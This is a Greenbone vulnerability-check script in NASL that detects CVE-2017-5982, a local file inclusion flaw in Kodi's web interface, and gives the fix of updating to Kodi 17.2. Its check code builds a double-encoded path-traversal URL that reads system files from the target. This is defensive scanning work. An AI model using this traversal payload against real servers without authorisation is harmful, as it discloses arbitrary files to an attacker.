Kodi Local File Inclusion Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:kodi:kodi";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106586");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2017-02-13 10:37:26 +0700 (Mon, 13 Feb 2017)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-03-03 02:59:00 +0000 (Fri, 03 Mar 2017)");

  script_cve_id("CVE-2017-5982");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Kodi Local File Inclusion Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_kodi_web_server_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("Kodi/WebServer/installed");

  script_tag(name:"summary", value:"Kodi is prone to an arbitrary file disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to read a system file.");

  script_tag(name:"insight", value:"The web interface loads a thumbnail of an image, video or add-on when
selecting a category in the left menu. Insufficient validation of user input is performed on this URL resulting
in a local file inclusion vulnerability.");

  script_tag(name:"impact", value:"A unauthenticated attacker may read arbitrary files from the file system.");

  script_tag(name:"solution", value:"Update to Kodi version 17.2 or later. For details please see the references.");

  script_xref(name:"URL", value:"https://kodi.tv/article/kodi-v172-minor-bug-fix-and-security-release");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/41312/");

  exit(0);
}

include("misc_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + '/image/image%3A%2F%2F%2e%2e%252f' + str_replace(string: files[file], find: "/", replace: "%252f");

  if (http_vuln_check(port: port, url: url, pattern: file, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);